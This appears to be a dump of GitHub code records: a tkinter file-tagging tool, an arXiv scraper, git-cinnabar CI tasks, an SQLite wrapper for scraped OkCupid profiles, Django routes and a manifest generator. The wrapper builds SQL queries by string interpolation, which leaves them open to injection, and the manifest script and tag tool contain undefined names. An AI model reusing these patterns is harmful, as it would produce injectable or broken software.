\"text\")\n        items = self.file_list.selection()\n        if len(items) == 0:\n            self.show_log(\"没有选中的文件，无法增加Tag\")\n            return\n\n        files = [self.get_full_filename(item) for item in items]\n        self.add_tag_to_files(tag, files)\n\n\n    def add_tag_to_files(self, tag: str, files: List[Path]):\n        \"\"\" 将 Tag 添加到文件列表中当前选择的文件中 \"\"\"\n        loginfo = f\"Add tag [{tag}] to files:\\n\"\n        for file in files:\n            str = f\"\\t{file.name}\\n\"\n            loginfo += str\n        try:\n            tag_add.add_tag(tag, files)\n        except Exception as e:\n            loginfo += f\"{e}\"\n        self.show_log(loginfo)\n\n\n    def on_search_files(self, *args):\n        \"\"\" 搜索框内容发生变化时，在文件列表中显示满足条件的文件 \"\"\"\n        str = self.searchstr.get().lower()\n        if str == \"\":\n            self.show_file_list(self.all_file_data)\n        else:\n            visible_file_data = []\n            for data in self.all_file_data:\n                if str in data[0].lower():\n                    visible_file_data.append(data)\n            self.show_file_list(visible_file_data)\n\n\n    def show_file_list(self, visible_file_data):\n        \"\"\" 刷新文件列表中的内容 \"\"\"\n        items = self.file_list.get_children()\n        [self.file_list.delete(item) for item in items]\n        for data in visible_file_data:\n            self.file_list.insert('', 'end', values = data)\n        self.file_list.sort()\n\n\n    def on_open_file(self, event):\n        \"\"\" 双击文件列表中的文件���，使用操作系统默认程序打开对应的文件 \"\"\"\n        items = self.file_list.selection()\n        fullname = self.get_full_filename(items[0])\n        self.show_log(\"open file: \" + str(fullname))\n        os.startfile(fullname)\n\n\n    def on_select_files(self, event):\n        \"\"\" 选择文件列表中的文件时，在日志中显示相应文件的信息 \"\"\"\n        items = self.file_list.selection()\n        total_str = \"\"\n        for item in items:\n            file = self.get_full_filename(item)\n            tags = tag_utils.get_file_tags(file)\n            str = f\"{file.name}\\n\\t{tags}\\n\"\n            total_str += str\n        self.show_log(total_str)\n\n\n    def show_log(self, info: str):\n        \"\"\"在日志控件是显示日志信息\n\n        Args:\n            info (str): 要显示的日志信息\n        \"\"\"\n        self.log['state'] = 'normal'\n        self.log.delete(\"1.0\", END)\n        self.log.insert(\"end\", info)\n        self.log['state'] = 'disabled'\n\n\n    def get_full_filename(self, tree_item) -> Path:\n        \"\"\"获取文件列表中一个文件的绝对路径\n\n        Args:\n            tree_item (_type_): 文件列表中的一项\n\n        Returns:\n            Path: 文件对应的绝对路径\n        \"\"\"\n        values = self.file_list.item(tree_item, 'values')\n        path = Path(self.curr_dir)\n        filename = values[0] + values[1]\n        fullname = path / filename\n        return fullname\n\n\n    def on_open_dir(self):\n        \"\"\" 打开选择目录的界面，选择新目录后，刷新文件列表 \"\"\"\n        path = filedialog.askdirectory()\n        if path == \"\":\n            return\n        self.curr_dir = path\n        self.fill_file_list()\n\n\n    def fill_file_list(self):\n        \"\"\" 根据 curr_dir, 填充文件列表 \"\"\"\n        self.label_path_var.set(self.curr_dir)\n        path = Path(self.curr_dir)\n        self.all_file_data = []\n        for entry in path.iterdir():\n            if entry.name == \".tag\" and entry.is_dir():\n                continue\n            data = [entry.stem,\n                    entry.suffix,\n                    entry.stat().st_size,\n                    time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(entry.stat().st_mtime))]\n            self.all_file_data.append(data)\n        self.all_file_data.sort(key=lambda file: str_utils.to_pinyin(file[0]))\n        self.show_file_list(self.all_file_data)\n\n\n    def on_file_list_popup(self, event):\n        self.file_list_menu.post(event.x_root, event.y_root)\n\n\n    def on_add_tag(self):\n        items = self.file_list.selection()\n        if len(items) == 0:\n            self.show_log(\"没有选中的文件，无法添加Tag\")\n            return\n        tag = simpledialog.askstring(\"添加Tag\", \"输入要添加的Tag\\n（会给文件列表中选中的文件同时增加此Tag）\")\n        if tag == '' or tag is None:\n            return\n        files = [self.get_full_filename(item) for item in items]\n        self.add_tag_to_files(tag, files)\n\n\n    def on_delete_tag(self):\n        items = self.file_list.selection()\n        if len(items) == 0:\n            self.show_log(\"没有选中的文件，无法删除Tag\")\n            return\n        files = [self.get_full_filename(item) for item in items]\n        dlg = DeleteTagDialog(files)\n        dlg.grab_set()\n        self.panewin.wait_window(dlg)\n        tags = dlg.deleted_tags\n        loginfo = f\"Delete tag(s) {tags} from file(s):\\n\"\n        for file in files:\n            loginfo += f\"\\t{file.name}\\n\"\n        try:\n            for tag in tags:\n                tag_delete.delete_tag(tag, files)\n        except Exception as e:\n            total_str += f\"{e}\"\n        self.show_log(loginfo)\n\n\ndef main():\n    root = Tk()\n    root.state(\"zoomed\")\n    root.title(\"Tag-Files\")\n\n    app = TagUI(root, Path.home() / 'Music')\n\n    app.widget().grid(column=0, row=0, sticky=(N, S, E, W))\n    root.rowconfigure(0, weight=1)\n    root.columnconfigure(0, weight=1)\n\n    root.mainloop()\n\n\nif(__name__=='__main__'):\n    main()\n\n","repo_name":"fanhongtao/tag-files","sub_path":"tag_ui.pyw","file_name":"tag_ui.pyw","file_ext":"pyw","file_size_in_byte":10874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32411113776","text":"n1=int(input('digite um numero:'))\nn2=int(input('digite outro:'))\ns=n1+n2\nsub=n1-n2\nd=n1/n2\ndiv=n1//n2\nm=n1*n2\np=n1**n2\nprint('a soma é {} a sub é {} e a divisão é {}'.format(s,sub,d),end=' ')\nprint('div int é {} multiplicação é {} e potencia é {}'.format(div,m,p))\n\n","repo_name":"Brunoempke/Python-exercicios","sub_path":"ex004.py","file_name":"ex004.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20579974430","text":"# /opt/conda/envs/pytorch/lib/python3.6/site-packages/arxiv/arxiv.py\nimport time\nimport datetime\nimport arxiv\nfrom googletrans import Translator\ndef doit(ys, cs):\n    ts = Translator(service_urls=['translate.googleapis.com'])\n    sb = arxiv.SortCriterion.SubmittedDate\n    so = arxiv.SortOrder.Descending\n    paper_list = []\n    for c in cs:\n        for y in ys:\n            q = 'cat:' + c + ' '\\\n                'AND submittedDate:[' + y[0] + ' TO ' + y[1] + ']'\n            print('From: '+y[0]+ ' To: '+y[1])\n            try:\n                cnt = 0\n                p = arxiv.Search(query = q, sort_by = sb, sort_order = so)\n                for r in p.results():\n                    title = r.title\n                    summary = r.summary\n                    url = r.entry_id\n                    published = str(r.published)\n                    if 'multimodal' in title.lower() or \\\n                       'multimodal' in summary.lower():\n                        if title not in paper_list:\n                            paper_list.append(title)\n                            print('[Multimoda]')\n                            print(published+'\\n'+title+'\\n'+url+'\\n')\n                    if 'transformer' in title.lower() or \\\n                       'transformer' in summary.lower():\n                        if title not in paper_list:\n                            paper_list.append(title)\n                            print('[Transformer]')\n                            print(published+'\\n'+title+'\\n'+url+'\\n')\n                    if 'attention' in title.lower() or \\\n                       'attention' in summary.lower():\n                        if title not in paper_list:\n                            paper_list.append(title)\n                            print('[Attention]')\n                            print(published+'\\n'+title+'\\n'+url+'\\n')\n                    if 'GAN ' in title or 'GAN ' in summary:\n                        if title not in paper_list:\n                            paper_list.append(title)\n                            print('[GAN]')\n                            print(published+'\\n'+title+'\\n'+url+'\\n')\n                    if 'GPT' in title or 'GPT' in summary:\n                        if title not in paper_list:\n                            paper_list.append(title)\n                            print('[GPT]')\n                            print(published+'\\n'+title+'\\n'+url+'\\n')\n                    if 'DALL-E' in title or 'DALL-E' in summary:\n                        if title not in paper_list:\n                            paper_list.append(title)\n                            print('[DALL-E]')\n                            print(published+'\\n'+title+'\\n'+url+'\\n')\n                    if 'BERT' in title or 'BERT' in summary:\n                        if title not in paper_list:\n                            paper_list.append(title)\n                            print('[BERT]')\n                            print(published+'\\n'+title+'\\n'+url+'\\n')\n                    time.sleep(10)\n            except Exception as e:\n                print(e)\n\nif __name__ == '__main__':\n    today = datetime.datetime.fromtimestamp(time.time()).strftime('%Y%m%d')\n    week =  (datetime.date.today() -\n             datetime.timedelta(days=7)).strftime('%Y%m%d')\n    cs = ['cs.LG','cs.CV','cs.AI']\n    ys = [[week,today],\n          #['20211010','20211021'],\n          #['20200101','20200927'],\n          #['20190101','20190927'],\n          #['20180101','20181231'],\n          #['20170101','20171231'],\n          #['20160101','20161231'],\n          #['20150101','20151231'],\n          #['20140101','20141231']\n    ]\n    doit(ys, cs)\n","repo_name":"shinobu-x/sandbox","sub_path":"analysis/arxive.py","file_name":"arxive.py","file_ext":"py","file_size_in_byte":3630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10030009712","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nimport hashlib\nimport json\nimport os\nimport subprocess\nimport sys\n\n\nBASE_DIR = os.path.dirname(__file__)\nsys.path.append(BASE_DIR)\nsys.path.append(os.path.join(BASE_DIR, '..'))\n\nfrom distutils.version import StrictVersion\nfrom itertools import chain\n\nimport osx  # noqa: F401\nfrom tasks import (\n    action,\n    parse_version,\n    Task,\n    TaskEnvironment,\n    Tool,\n)\nfrom tools import (\n    GIT_VERSION,\n    MERCURIAL_VERSION,\n    ALL_MERCURIAL_VERSIONS,\n    SOME_MERCURIAL_VERSIONS,\n    Build,\n    Git,\n    Hg,\n    nproc,\n)\nfrom variables import *  # noqa: F403\n\n\ndef git_rev_parse(committish):\n    return subprocess.check_output(\n        ['git', 'rev-parse', committish], text=True,\n        cwd=os.path.join(BASE_DIR, '..')).strip()\n\n\nUPGRADE_FROM = ()  # ('0.5.0',)\n\n\nclass TestTask(Task):\n    coverage = []\n\n    def __init__(self, **kwargs):\n        git = kwargs.pop('git', GIT_VERSION)\n        hg = kwargs.pop('hg', MERCURIAL_VERSION)\n        commit = kwargs.pop('commit', None)\n        task_env = kwargs.pop('task_env', 'linux')\n        variant = kwargs.pop('variant', None)\n        build = kwargs.pop('build', None)\n        clone = kwargs.pop('clone', TC_COMMIT)\n        desc = kwargs.pop('description', None)\n        short_desc = kwargs.pop('short_desc', 'test')\n        extra_desc = kwargs.pop('extra_desc', None)\n        pre_command = kwargs.pop('pre_command', None)\n        if build is None:\n            build = '{}.{}'.format(task_env, variant) if variant else task_env\n            build = Build.by_name(build)\n            kwargs.setdefault('mounts', []).append(build.mount())\n            build = build.install()\n        if variant:\n            kwargs.setdefault('env', {})['VARIANT'] = variant\n        env = TaskEnvironment.by_name('{}.test'.format(task_env))\n        command = []\n        if pre_command:\n            command.extend(pre_command)\n        if hg:\n            hg_task = Hg.by_name('{}.{}'.format(task_env, hg))\n            kwargs.setdefault('mounts', []).append(hg_task.mount())\n            command.extend(hg_task.install())\n            command.append('hg --version')\n            try:\n                if StrictVersion(hg) < '3.6':\n                    kwargs.setdefault('env', {})['NO_CLONEBUNDLES'] = '1'\n            except ValueError:\n                # `hg` is a sha1 for trunk, which means it's >= 3.6\n                pass\n        if git:\n            git_task = Git.by_name('{}.{}'.format(task_env, git))\n            kwargs.setdefault('mounts', []).append(git_task.mount())\n            command.extend(git_task.install())\n            command.append('git --version')\n        command.extend(Task.checkout(commit=commit))\n        command.extend(build)\n        if clone:\n            kwargs.setdefault('mounts', []).append(\n                {'file:bundle.git': Clone.by_name(clone)})\n            command.extend([\n                'git init repo/hg.old.git',\n                'git -C repo/hg.old.git fetch ../../bundle.git refs/*:refs/*',\n                'git -C repo/hg.old.git remote add origin hg:${REPO#https:}',\n                'git -C repo/hg.old.git symbolic-ref HEAD'\n                ' refs/heads/branches/default/tip',\n            ])\n            kwargs.setdefault('env', {})['REPO'] = REPO\n        command.extend((\n            'repo/git-cinnabar --version',\n        ))\n        if 'command' in kwargs:\n            kwargs['command'] = command + kwargs['command']\n        else:\n            if commit:\n                # Always use the current CI scripts\n                command.append(\n                    'git -C repo -c core.autocrlf=input checkout {} CI'\n                    .format(TC_COMMIT))\n            output_sync = ' --output-sync=target'\n            if env.os == 'macos':\n                output_sync = ''\n            kwargs['command'] = command + [\n                'hg init repo/hg.pure.hg',\n                'hg -R repo/hg.pure.hg unbundle bundle.hg',\n                'make -C repo -f CI/tests.mk -j$({}){}'\n                .format(nproc(env), output_sync),\n            ]\n            kwargs.setdefault('mounts', []).append(\n                {'file:bundle.hg': HgClone.by_name(MERCURIAL_VERSION)})\n\n        if variant == 'coverage':\n            kwargs['command'].extend([\n                'shopt -s nullglob',\n                'cd repo',\n                'zip $ARTIFACTS/coverage.zip'\n                ' $(find . -name \"*.gcda\")',\n                'cd ..',\n                'shopt -u nullglob',\n            ])\n            artifact = kwargs.pop('artifact', None)\n            artifacts = kwargs.setdefault('artifacts', [])\n            assert not(artifacts and artifact)\n            if artifact:\n                artifacts.push(artifact)\n            artifacts.append('coverage.zip')\n            self.coverage.append(self)\n        elif variant == 'asan' and task_env == 'linux':\n            kwargs['caps'] = ['SYS_PTRACE']\n        if not desc:\n            desc = '{} w/ git-{} hg-{}'.format(\n                short_desc, git, 'r' + hg if len(hg) == 40 else hg)\n            if variant and variant != 'coverage':\n                desc = ' '.join((desc, variant))\n        if extra_desc:\n            desc = ' '.join((desc, extra_desc))\n        if task_env != 'linux':\n            desc = ' '.join((desc, env.os, env.cpu))\n        kwargs['description'] = desc\n        Task.__init__(self, task_env=env, **kwargs)\n\n\nclass Clone(TestTask, metaclass=Tool):\n    PREFIX = \"clone\"\n\n    def __init__(self, version):\n        sha1 = git_rev_parse(version)\n        expireIn = '26 weeks'\n        kwargs = {}\n        if version == TC_COMMIT or len(version) == 40:\n            if version == TC_COMMIT:\n                build = Build.by_name('linux')\n            else:\n                build = Build.by_name('linux.old:{}'.format(version))\n            kwargs.setdefault('mounts', []).append(build.mount())\n            download = build.install()\n            expireIn = '26 weeks'\n        elif parse_version(version) < parse_version('0.6.0'):\n            download = ['repo/git-cinnabar download']\n            if parse_version(version) < parse_version('0.5.7'):\n                kwargs['git'] = '2.30.2'\n        else:\n            download = ['repo/download.py']\n        if REPO == DEFAULT_REPO:\n            index = 'bundle.{}'.format(sha1)\n        else:\n            index = 'bundle.{}.{}'.format(hashlib.sha1(REPO).hexdigest(), sha1)\n        TestTask.__init__(\n            self,\n            hg=MERCURIAL_VERSION,\n            description='clone w/ {}'.format(version),\n            index=index,\n            expireIn=expireIn,\n            build=download,\n            commit=sha1,\n            clone=False,\n            command=[\n                'PATH=$PWD/repo:$PATH'\n                ' git -c fetch.prune=true clone -n hg::$REPO hg.old.git',\n                'git -C hg.old.git bundle create $ARTIFACTS/bundle.git --all',\n            ],\n            artifact='bundle.git',\n            env={\n                'REPO': REPO,\n            },\n            priority='high',\n            **kwargs,\n        )\n\n\nclass HgClone(Task, metaclass=Tool):\n    PREFIX = \"hgclone\"\n\n    def __init__(self, version):\n        if REPO == DEFAULT_REPO:\n            index = 'hgclone.{}'.format(version)\n        else:\n            index = 'hgclone.{}.{}'.format(\n                hashlib.sha1(REPO).hexdigest(), version)\n        hg_task = Hg.by_name(f'linux.{version}')\n        Task.__init__(\n            self,\n            task_env=TaskEnvironment.by_name('linux.test'),\n            description=f'hg clone w/ {version}',\n            index=index,\n            expireIn='26 weeks',\n            command=hg_task.install() + [\n                'hg clone -U --stream $REPO repo',\n                'hg -R repo bundle -t none-v1 -a $ARTIFACTS/bundle.hg',\n            ],\n            mounts=[hg_task.mount()],\n            artifact='bundle.hg',\n            env={\n                'REPO': REPO,\n            },\n            priority='high',\n        )\n\n\n@action('decision')\ndef decision():\n    for env in ('linux', 'mingw64', 'osx'):\n        # Can't spawn osx workers from pull requests.\n        if env.startswith('osx') and not TC_IS_PUSH:\n            continue\n\n        TestTask(\n            task_env=env,\n            variant='coverage' if env == 'linux' else None,\n        )\n\n        task_env = TaskEnvironment.by_name('{}.test'.format(env))\n        if TC_IS_PUSH and TC_BRANCH != \"try\":\n            hg = Hg.by_name('{}.{}'.format(env, MERCURIAL_VERSION))\n            git = Git.by_name('{}.{}'.format(env, GIT_VERSION))\n            Task(\n                task_env=task_env,\n                description='download build {} {}'.format(task_env.os,\n                                                          task_env.cpu),\n                command=list(chain(\n                    git.install(),\n                    hg.install(),\n                    Task.checkout(),\n                    [\n                        '(cd repo ; ./download.py)',\n                        'PATH=$PWD/repo:$PATH git cinnabar --version',\n                        'cp repo/download.py .',\n                        './download.py',\n                        'PATH=$PWD:$PATH',\n                        'git cinnabar --version',\n                        'git cinnabar self-update',\n                        'git cinnabar --version',\n                        'git cinnabar self-update --branch {}'.format(\n                            TC_BRANCH or \"master\"),\n                        'git cinnabar --version',\n                    ],\n                )),\n                dependencies=[\n                    Build.by_name(env),\n                ],\n                mounts=[\n                    hg.mount(),\n                    git.mount(),\n                ],\n            )\n\n    # Same for arm64 mac\n    if TC_IS_PUSH:\n        Build.by_name('arm64-osx')\n    Build.by_name('arm64-linux')\n\n    for upgrade in UPGRADE_FROM:\n        TestTask(\n            short_desc='upgrade tests',\n            extra_desc='from-{}'.format(upgrade),\n            variant='coverage',\n            clone=upgrade,\n            env={\n                'UPGRADE_FROM': upgrade,\n            },\n            hg='5.4.2',\n        )\n\n    for git in ('1.8.5', '2.7.4'):\n        TestTask(\n            git=git,\n            env={'GIT_OLD_VERSION': '1'}\n        )\n\n    for hg in SOME_MERCURIAL_VERSIONS:\n        if hg != MERCURIAL_VERSION:\n            do_hg_version(hg)\n\n    TestTask(\n        task_env='linux',\n        variant='asan',\n    )\n\n    for env in ('linux', 'mingw64', 'osx'):\n        # Can't spawn osx workers from pull requests.\n        if env.startswith('osx') and not TC_IS_PUSH:\n            continue\n\n        TestTask(\n            task_env=env,\n            variant='coverage' if env == 'linux' else None,\n            short_desc='graft tests',\n            env={\n                'GRAFT': '1',\n            },\n        )\n\n    for env, variant in (\n        ('linux', 'coverage'),\n        ('linux', 'asan'),\n        ('osx', None),\n    ):\n        # Can't spawn osx workers from pull requests.\n        if env.startswith('osx') and not TC_IS_PUSH:\n            continue\n\n        pre_command = []\n        if env != 'linux':\n            pre_command.append('pip install cram==0.7')\n\n        TestTask(\n            task_env=env,\n            variant=variant,\n            short_desc='cram',\n            clone=False,\n            command=pre_command + [\n                'cram --verbose repo/tests',\n            ],\n            env={\n                'GIT_CINNABAR_CHECK': 'no-version-check',\n            },\n        )\n\n\ndef do_hg_version(hg):\n    cram_hg = []\n    python2 = False\n    try:\n        # Don't run python2 tests for version >= 6.2, which doesn't support\n        # python2 anymore.\n        if StrictVersion(hg) < '6.2':\n            python2 = True\n    except ValueError:\n        # `hg` is a sha1 for trunk, which means it's >= 6.2\n        pass\n    if python2:\n        TestTask(hg=hg)\n        cram_hg.append(hg)\n    try:\n        # Don't run cram tests for version < 3.6, which would need\n        # different tests because of server-side changes in behavior\n        # wrt bookmarks.\n        if StrictVersion(hg) < '3.6':\n            return\n    except ValueError:\n        # `hg` is a sha1 for trunk, which means it's >= 3.6\n        TestTask(hg='{}.py3'.format(hg))\n        cram_hg.append('{}.py3'.format(hg))\n    for hg in cram_hg:\n        TestTask(\n            short_desc='cram',\n            clone=False,\n            hg=hg,\n            command=[\n                'cram --verbose repo/tests',\n            ],\n            env={\n                'GIT_CINNABAR_CHECK': 'no-version-check',\n            },\n        )\n\n\n@action('more-hg-versions',\n        title='More hg versions',\n        description='Trigger tests against more mercurial versions')\ndef more_hg_versions():\n    for hg in ALL_MERCURIAL_VERSIONS:\n        if hg != MERCURIAL_VERSION and hg not in SOME_MERCURIAL_VERSIONS:\n            do_hg_version(hg)\n\n\n@action('hg-trunk',\n        title='Test w/ hg trunk',\n        description='Trigger tests against current mercurial trunk')\ndef hg_trunk():\n    import requests\n    r = requests.get('https://www.mercurial-scm.org/repo/hg/?cmd=branchmap')\n    trunk = None\n    for l in r.text.splitlines():\n        fields = l.split()\n        if fields[0] == 'default':\n            trunk = fields[-1]\n    if not trunk:\n        raise Exception('Cannot find mercurial trunk changeset')\n    do_hg_version(trunk)\n\n\ndef main():\n    try:\n        func = action.by_name[TC_ACTION or 'decision'].func\n    except AttributeError:\n        raise Exception('Unsupported action: %s', TC_ACTION or 'decision')\n\n    func()\n\n    merge_coverage = []\n\n    if TestTask.coverage and TC_IS_PUSH and TC_BRANCH:\n        coverage_mounts = [\n            {f'file:cov-{task.id}.zip': task} for task in TestTask.coverage\n        ]\n        task = Build.by_name('linux.coverage')\n        coverage_mounts.append({'file:gcno-build.zip': {\n            'artifact': task.artifacts[1],\n            'taskId': task.id,\n        }})\n\n        merge_coverage.extend([\n            'grcov -s repo -t lcov -o repo/coverage.lcov gcno-build.zip ' +\n            ' '.join(\n                f'cov-{task.id}.zip'\n                for task in TestTask.coverage),\n        ])\n\n    if merge_coverage:\n        Task(\n            task_env=TaskEnvironment.by_name('linux.codecov'),\n            description='upload coverage',\n            scopes=['secrets:get:project/git-cinnabar/codecov'],\n            mounts=coverage_mounts,\n            command=list(chain(\n                Task.checkout(),\n                [\n                    'set +x',\n                    ('export CODECOV_TOKEN=$(curl -sL '\n                     f'{PROXY_URL}/api/secrets/v1/secret/project/git-cinnabar'\n                     '/codecov | python2.7'\n                     ' -c \"import json, sys; print(json.load(sys.stdin)'\n                     '[\\\\\"secret\\\\\"][\\\\\"token\\\\\"])\")'),\n                    'set -x',\n                ],\n                merge_coverage,\n                [\n                    'cd repo',\n                    'codecov -Z --name \"taskcluster\" -C {} -B {}'\n                    .format(TC_COMMIT, TC_BRANCH),\n                ],\n            )),\n        )\n\n    for t in Task.by_id.values():\n        t.submit()\n\n    if not TC_ACTION and 'TC_GROUP_ID' in os.environ:\n        actions = {\n            'version': 1,\n            'actions': [],\n            'variables': {\n                'e': dict(TC_DATA, decision_id=''),\n                'tasks_for': 'action',\n            },\n        }\n        for name, a in action.by_name.items():\n            if name != 'decision':\n                actions['actions'].append({\n                    'kind': 'task',\n                    'name': a.name,\n                    'title': a.title,\n                    'description': a.description,\n                    'context': [],\n                    'task': a.task,\n                })\n\n        with open('actions.json', 'w') as out:\n            out.write(json.dumps(actions, indent=True))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"glandium/git-cinnabar","sub_path":"CI/decision.py","file_name":"decision.py","file_ext":"py","file_size_in_byte":16147,"program_lang":"python","lang":"en","doc_type":"code","stars":258,"dataset":"github-code","pt":"21"}
+{"seq_id":"42586520110","text":"#Beth pulling code we already wrote out into its own file so numpy doesn't have to be\n        #wrestled onto another computer before Thursday\n#May 10, 2016\n\n\nimport sqlite3\nimport re\nfrom textblob import *\n\n\nNUM_OF_PROFILES = 1558\nNUM_CLUSTERS = 4\n\n\nclass OKCdb(object):\n    def __init__(self, dbfile):\n        \"\"\"\n        Connect to the database specified by dbfile.  Assumes that this\n        dbfile already contains the tables specified by the schema.\n        \"\"\"\n        self.dbfile = dbfile\n        self.cxn = sqlite3.connect(dbfile)\n        self.cur = self.cxn.cursor()\n\n    def execute(self, sql):\n        \"\"\"\n        Execute an arbitrary SQL command on the underlying database.\n        \"\"\"\n\n        res = self.cur.execute(sql)\n        self.cxn.commit()\n\n        return res\n    \n\n    def lookupUser_byID(self, user_id):\n        \"\"\"\n        Returns EVERYTHING for the row in some mysterious format\n        matching user_id in Users.\n\n        If there is no matching user_id, returns an None.\n        \"\"\"\n        sql = \"SELECT * FROM Users WHERE id='%s'\"\\\n              % (user_id)\n        res = self.execute(sql)\n        reslist = res.fetchall()\n        if reslist == []:\n            return None\n        else:\n            return reslist[0]\n\n    def getGender_byID(self, user_id):\n        \"\"\"\n        Returns gender from profiles, or None if no matching user_id\n        \"\"\"\n        sql = \"SELECT gender FROM Users WHERE id='%s'\" % user_id\n        res = self.execute(sql)\n        reslist = res.fetchall()\n        if reslist == []:\n            return None\n        else:\n            return reslist[0]\n\n    def getLookingFor_byID(self, user_id):\n        \"\"\"\n        Returns orientation from profiles, or None if no matching user_id\n        \"\"\"\n        sql = \"SELECT lookingFor FROM Users WHERE id='%s'\" % user_id\n        res = self.execute(sql)\n        reslist = res.fetchall()\n        if reslist == []:\n            return None\n        else:\n            return reslist[0]\n\n    def getOrientation_byID(self, user_id):\n        \"\"\"\n        Returns orientation from profiles, or None if no matching user_id\n        \"\"\"\n        sql = \"SELECT orientation FROM Users WHERE id='%s'\" % user_id\n        res = self.execute(sql)\n        reslist = res.fetchall()\n        if reslist == []:\n            return None\n        else:\n            return reslist[0]\n\n    def getProfile_byContains(self, phrase):\n        '''returns EVERYTHING for the row which contains searched phrases\n          if there is no matching contents, returns a None'''\n        sql = \"SELECT * from Users WHERE profile0 LIKE '\" + phrase + \"' OR profile1 LIKE '\" + phrase + \"' OR profile2 LIKE '\" + phrase + \"' OR profile3 LIKE \\\n        '\" + phrase + \"' OR profile4 LIKE '\" + phrase + \"' OR profile5 LIKE '\" + phrase + \"' OR profile6 LIKE '\" + phrase + \"' OR profile7 LIKE \\\n        '\" + phrase + \"' OR profile8 LIKE '\" + phrase + \"' OR profile9 LIKE '\" + phrase + \"'\"\n        res = self.execute(sql)\n        reslist = res.fetchall()\n        if(reslist) == []:\n            return None\n        else:\n            return reslist\n\n    def getText_byID(self, user_id):\n        \"\"\"\n        Returns tha text from profiles for the row in some mysterious format\n        matching user_id in Users.\n\n        If there is no matching user_id, returns an None.\n        \"\"\"\n        sql = \"SELECT profile0, profile1, profile2, profile3, profile4, profile5, profile6, profile7, profile8, profile9 FROM Users WHERE id='%s'\"\\\n              % (user_id)\n        res = self.execute(sql)\n        reslist = res.fetchall()\n        if reslist == []:\n            return None\n        else:\n            return reslist[0]\n\n    def getColumn_byID(self, user_id, column_name):\n        \"\"\"\n        Because I'm kind of done writing a million functions when I could have just written one\n        :param user_id: primary key of user in db\n        :param column_name: str name of column\n        :return: data in column column_name for user with id user_id\n        \"\"\"\n        sql = \"SELECT %s FROM Users WHERE id='%s'\" % (column_name, user_id)\n        res = self.execute(sql)\n        reslist = res.fetchall()\n        if reslist == []:\n            return None\n        else:\n            return reslist[0][0]\n","repo_name":"bethdellea/TheDatingLang","sub_path":"scraping/justDB.py","file_name":"justDB.py","file_ext":"py","file_size_in_byte":4226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18554436884","text":"from django.contrib import admin\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('todos', views.TodoCreate.as_view()),\n    path('todos/completed', views.TodoCompleted.as_view()),\n    path('todos/<int:pk>', views.TodoRetrieveUpdateDestroy.as_view()),\n    path('todos/<int:pk>/completed', views.TodoComplete.as_view()),\n\n    path('signup',views.signup),\n    path('login', views.login),\n\n]\n","repo_name":"Gluchowski137/todo_project","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"3203849576","text":"import os\nimport hashlib\nimport time\n\ndef getFileMd5(filename):\n    if os.path.isfile(filepath):\n        md5obj = hashlib.md5()\n        maxbuf = 8192\n        f = open(filepath,'rb')\n        while True:\n            buf = f.read(maxbuf)\n            if not buf:\n                break\n            md5obj.update(buf)\n        f.close()\n        hash = md5obj.hexdigest()\n        return str(hash).upper()\n    else:\n        return None\n\ndef walk(path, assetsDict, prefix):\n    fl = os.listdir(path) \n    for f in fl:\n        if os.path.isdir(os.path.join(path,f)): # if is a dir.\n            if prefix == '':\n                walk(os.path.join(path, f), assetsDict, f)\n            else:\n                walk(os.path.join(path,f), assetsDict, prefix + '/' + f)\n        else:\n            md5 = getFileMd5(os.path.join(path, f))\n            if prefix == '':\n                assetsDict[f] = md5\n            else:\n                assetsDict[prefix + '/' + f] = md5\n\ndef writeManifest(manifest, filePath):\n    strMan = json.dumps(manifest, encoding = 'utf8')\n    f = file(filePath, \"w+\")\n    f.write(strMan)\n    f.close()\n\ndef process(srcdir, destdir, version, url):\n    manifest = {\n        'packageUrl': url,\n        'remoteManifestUrl': url + 'project.manifest',\n        'remoteVersionUrl': url + 'version.manifest',\n        'version': version,\n        'assets': {},\n        'searchPaths': []\n    };\n\n    writeManifest(manifest, os.path.join(destdir, 'version.manifest'))\n\n    if not os.path.exists(destdir):\n        os.mkdir(destdir)\n\n    walk(srcdir, manifest.assets, '')\n\n    writeManifest(manifest, os.path.join(destdir, 'project.manifest'))\n\nif __name__ == \"__main__\": \n    curPath = os.path.split(os.path.realpath(__file__))[0]\n    srcdir = curPath\n    destdir = curPath\n    version = '1.0.0'\n    url = 'http://localhost:8080/'\n\n    index = 1\n    while index < len(sys.argv):\n        arg = sys.argv[index]\n        if arg == '-d' or arg == '--dest':\n            destdir = sys.argv[index + 1]\n        elif arg == '-v' or arg == '--version':\n            version = sys.argv[index + 1]\n        elif arg == '-u' or arg == '--url':\n            url = sys.argv[index + 1]\n        elif arg == '-v' or arg == '--version':\n            version = sys.argv[index + 1]\n        elif arg == '-s' or arg == '--src':\n            srcdir = sys.argv[index + 1]\n\n        index = index + 1\n\n    process(srcdir, destdir, version, url)\n","repo_name":"dadidzf/CocosStudio","sub_path":"LuaTemplate/Tools/createManifest/autoManifest.py","file_name":"autoManifest.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
